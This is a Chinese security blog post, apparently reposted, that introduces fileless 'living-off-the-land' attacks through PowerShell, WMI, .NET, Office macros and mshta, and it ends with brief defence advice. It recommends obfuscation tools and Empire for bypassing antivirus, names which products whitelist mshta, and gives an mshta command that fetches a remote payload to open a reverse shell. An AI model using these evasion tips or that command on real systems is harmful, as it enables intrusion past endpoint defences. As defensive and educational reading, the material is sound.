安全攻防 | 初识(fileless malware)无文件非恶意软件

渗透技巧 1年前 (2023) admin
411 0 0

点击上方“蓝字”关注公众号获取最新信息!

本文作者:Twe1ve(贝塔安全实验室-核心成员)



0x00、什么是无文件非恶意软件

区别于传统的基于文件的攻击,无文件非恶意软件攻击在内存中运行,不需要利用可执行文件就能达到攻击的目的。无文件非恶意软件本身是系统内置的合法工具,但是被用来执行一些不合法的操作,也就是我们常说的白名单绕过执行。总的来说就是利用Windows 的一部分来对抗Windows。 

 

无文件攻击使用的是一种“Living-off-the-land”(平地起飞)技术。Living-off- the-land 是指攻击者使用 leverages trusted andlegitimate processes(受信任的合法进程)来执行恶意操作,这些被用来执行恶意操作的合法工具也被称为 LOLBins,其中包括powershell、WMI、MicrosoftOffice、.NET 和其他系统工具。下面附上一个 Living-off- the-land 二进制文件和脚本的项目地址: 

https://github.com/LOLBAS-Project/LOLBAS 

 

0x01、无文件非恶意软件攻击流行的原因

1) 、隐秘性高:无文件非恶意软件使用的是合法工具,所以几乎不会出现无文件非恶意软件被**加入黑名单从而导致不能使用的情况。

 

2) 、Living-off-the-land:无文件非恶意软件本身是系统内置的合法软件,不需要额外安装任何工具 

 

3)、受信任且被频繁使用于合法目的:诸如 powershell、WMI、.NET 都是广泛被应用于日常工作当中的,同时也是应该被信任的。随之而来的“好”处就是,**无法识别这些工具的使用是出于正常工作需要还是被用来执行恶意操作 


0x02、无文件非恶意软件的使用

0x02.1、POWERSHELL

0x02.1.1、Powershell 简介

1)、Powershell 是一个跨平台的开源的自动化和管理配置框架


2)、Powershell 基于.NET,由命令行 shell 和脚本语言组成


3) 、Powershell 被允许完全访问诸多windows 功能,如 WMI、COM 对象以及其他管理功能(功能齐全,因此也被广泛用于合法工作中) 


4) 、Powershell 能够从内存执行paylaod(这也是 powershell 能够被用于无文件攻击的重要原因) 


0x02.1.2、使用 powershell 作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因,使用 powershell 作为无文件非恶意软件还有如下优点:


1) 、易于混淆,powershell 脚本混淆很容易就可以实现,推荐一款 powershell 混淆工具 Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation


2) 、提供远程访问:Powershell 默认提供远程访问功能,攻击者可以远程使用

 

0x02.1.3、Powershell 被用于无文件非恶意软件攻击的几个实例

1)、Empire

2) 、Nishang

3) 、Cobalt Strike 的 powershell 模块4)、msf 中的 powershell 模块

个人比较倾向于使用 empire、生成的 Powershell payload 能够自定义混淆,且编码可选,简单设置参数和修改函数名就能够绕过 360 等大部分国内杀软 

 

0x02.2、WMI(Windows Management Instrumentation,Windows 管理规范) 

0x02.2.1、WMI 简介

1) 、WMI 是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。 

 

2) 、WMI 提供有关本地或远程计算机状态的信息,并且可以用于配置安全设置,例如系统属性,用户组,调度进程或禁用错误日志记录 

 

3) 、WMI 的一个重要功能是能够使用 DCOM 或 WinRM 协议与远程计算机的 WMI 模型进行交互。这使攻击者可以在远程计算机上远程操作 WMI 类,而无需事先在其上运行任何代码

 

0x02.2.2、使用 WMI 作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因,使用 WMI 作为无文件非恶意软件还有如下优点: 

 

1) 、以 system 身份运行:任何永久性WMI 事件订阅都作为系统运行,具有很高的可信度 


2) 、容易被触发:几乎每个操作都能够触发 WMI 事件,从而使其与操作系统动作结合使用非常容易 

 

0x02.2.3、WMI 被用于无文件非恶意软件攻击的几个实例

1)、使用 Win32_Process 在本地或远程生成进程,等效于运行 psexec 的 wmi 


2)、Wmi 事件权限维持


3)、著名无文件攻击病毒 POSHSPY(https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html) 就使用 WMI 来存储及定时执行恶意代码

 

WMI 从 windows95 和 windows NT 4.0 便存在 windows 系统中,可谓根深蒂固。在实际环境中,WMI 不仅仅可以用来收集信息、还可以利用 WMI 进行代码执行、横向移动和构建持久无文件后门程序等 

 

0x02.3、.NET Framework 框架

0x02.3.1、.NET 简介

1) 、.NET 是 Microsoft 提供的一个开源的框架、提供对开发人员经常使用并可以构建的功能基础结构的访问。

 

2) 、.NET 具有两个主要组件,开发人员可以一起使用它们来创建应用程序:公共语言运行库和.NETFramework 类库。.NET 框架编写的程序在软件环境“通用语言运行时”中执行 

 

3) 、.NET 与几种编程语言一起使用,包括 C#,VB.NET Shop,C ++和 F#。它可以用于创建基于Windows 的应用程序,云应用程序,人工智能应用程序甚至跨平台应用程序 

 

4) 、PowerShell 构建在.NET Framework 之上。没有.NET,就没有 PowerShell


0x02.3.2、使用.NET 作为无文件非恶意软件的优点 

除了满足上面三点无文件非恶意软件流行的原因,使用.NET 作为无文件非恶意软件还有如下优点:


1) 、节省时间:.NET 功能众多且很多是常用工程,可被攻击者直接利用


2) 、易于使用:.NET 发展了很长时间,有大量关于这方面的说明文档,攻击者可以利用这些文档很快上手。 

 

0x02.3.3、.NET 被用于无文件非恶意软件的实例

1)、无文件非恶意软件 CactusTorch 使用 DotNetToJScript 从内存执行有害的.NET 程序集。

https://securityintelligence.com/news/fileless-malware-cactustorch-executes-harmful-net-assemblies-from-memory/

 

2)、.net加载mimikatz等

 

0x02.4、宏

0x02.4.1、宏简介

对于”宏“,相信大家都不陌生。在 Word 和 Excel 中,可以通过创建和运行宏来自动执行常用任务。宏是一系列命令和指令,您可以将它们组合为一个命令以自动完成任务

 

0x02.4.2、使用宏作为无文件非恶意软件的优点

除了满足上面三点无文件非恶意软件流行的原因

,使用宏作为无文件非恶意软件攻击还有如下优点:


1) 、实现简单:宏,大家都不陌生,甚至经常使用


2) 、易于传播:Word、Excel 都是我们工作中的常用文档,即使广泛传播也不怎么会引起怀疑。能够轻松与网络钓鱼和社工技术相结合 

 

0x02.4.3、宏被用于无文件非恶意软件的几个实例

1)、鱼叉攻击案例中大部分都是使用宏来执行恶意操作


2)、通过 OFFICE 文档进行网上诱骗


恶意宏还能够执行各种任务,包括运行 PowerShell 实例。宏默认是不启用的,需要结合网络钓鱼、社工等知识诱导对方点击“启用内容”、“是” 

 

0x02.5、其他系统工具

Psexec、sid、PortQry、sl 等均是无文件非恶意软件,能够很好地帮助我们进行信息收集、躲避杀软、权限提升、横向移动等。更多 LOLBins 看这里:

https://github.com/api0cradle/LOLBAS


以 koadic 框架为例,使用无文件非恶意软件 mshta,只需要在目标 windows 机器上简单地执行一句话就能反弹回一个 shell:


mstha http://xx.xx.xx.xx:xxx/xxx


powershell、wmi、,NET 等目前也都已经是各大安全厂商的重点查杀对象,但是由于无文件、在内存执行、合法等特性,查杀依然还是很困难,简单的变形往往都能绕过某些针对特征的查杀 


不同AV对LOLBins的查杀力度不同,此处的mstha虽然被360查杀,但是实在火绒的白名单内,(效果相当于360对于python程序从查杀效果)

 

0x03、无文件非恶意软件攻击防御: 

1) 、诸如 Powershel、WMI 等被广泛用于管理任务的合法应用程序,不可能完全禁用这些功能。实际一点的做法是使用 Powershell 提供的新日志记录功能分析脚本,并在可能的情况下对所需的脚本进行数字签名。但是这是一个很庞大的工作量,需要一个自动的脚本来实现。 


2) 、无文件非恶意软件无法绕过基于行为的高级检测,关键区域扫描和其他保护技术参考链接: 

https://portswigger.net/daily-swig/experts-warn-against-uptick-in-fileless-malware-attacks


https://securityintelligence.com/news/fileless-malware-cactustorch-executes-harmful-net-assemblies-from-memory/


https://github.com/mdsecactivebreach/SharpShooter


https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf


https://www.cybereason.com/blog/fileless-malware


https://www.cybereason.com/blog/fileless-malware-wmi


https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html


https://www.4hou.com/technology/10163.html


https://www.kaspersky.com/enterprise-security/wiki-section/products/fileless-threats-protection

原文始发于微信公众号(betasec):安全攻防 | 初识(fileless malware)无文件非恶意软件

版权声明:admin 发表于 2023年2月20日 上午8:41。
转载请注明:安全攻防 | 初识(fileless malware)无文件非恶意软件 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...